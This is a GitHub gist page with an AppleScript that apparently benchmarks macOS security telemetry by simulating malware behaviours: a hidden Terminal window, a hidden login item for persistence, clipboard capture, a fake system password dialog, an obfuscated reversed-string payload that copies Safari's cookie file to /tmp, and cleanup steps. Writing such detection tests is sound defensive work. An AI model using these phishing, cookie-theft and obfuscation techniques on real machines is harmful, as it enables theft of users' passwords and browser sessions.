Last active
February 21, 2026 03:08
-
-
Save pberba/0229c5d39e8628a1dfbb2ee97372ddd6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- (1) Mute Volume | |
| set volume with output muted | |
| tell application "Terminal" | |
| -- (2) Create new terminal and run a command | |
| do script "touch /tmp/test.txt" | |
| -- (3) Hide new window | |
| set visible of the front window to false | |
| end tell | |
| tell application "System Events" | |
| -- (4) Add new login item | |
| make new login item at end with properties {path:"/Applications/Safari.app", hidden:true} | |
| -- (5) List disks and processes | |
| set diskList to every disk | |
| set procList to name of every application process | |
| end tell | |
| delay 1 | |
| set outputFile to POSIX file "/tmp/test.txt" | |
| -- (6) Access contents of clipboard | |
| -- (7) Write a file to /tmp/ | |
| write (the clipboard) to outputFile | |
| set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file | |
| -- (8) Display Fake Password Prompt | |
| set result to display dialog "This is a test dialog to benchmark the telemetry" default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences Dummy" with hidden answer | |
| -- (9) Run AppleScript from obfuscated string | |
| -- (10) Use Finder to duplicate cookies from Safari | |
| set payload to "llet dne | |
| yrt dne | |
| gnicalper htiw ))\"/pmt/etavirp/\"( elif XISOP( redlof ot )\"seikoocyranib.seikooC:seikooC:yrarbiL:ataD:irafaS.elppa.moc:sreniatnoC\" & )txet sa niamod resu morf redlof yrarbil ot htap(( elif etacilpud | |
| yrt | |
| \"redniF\" noitacilppa llet" | |
| set payload to reverse of payload's items as text | |
| run script payload | |
| -- (11) Using Objective-C | |
| -- Added in a separate "run script" since adding "AppKit" conflicted with some of the previous tests | |
| run script "use framework \"AppKit\"" & return & "set pb to current application's NSPasteboard's generalPasteboard()" & return & "set clipObject to pb's stringForType:(current application's NSPasteboardTypeString)" & return & "set rawString to clipObject as text" | |
| -- Cleanup | |
| try | |
| tell application "System Events" | |
| if exists login item "Safari" then | |
| delete login item "Safari" | |
| end if | |
| end tell | |
| end try | |
| do shell script "rm /tmp/test.txt" | |
| do shell script "rm /tmp/Cookies.binarycookies" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment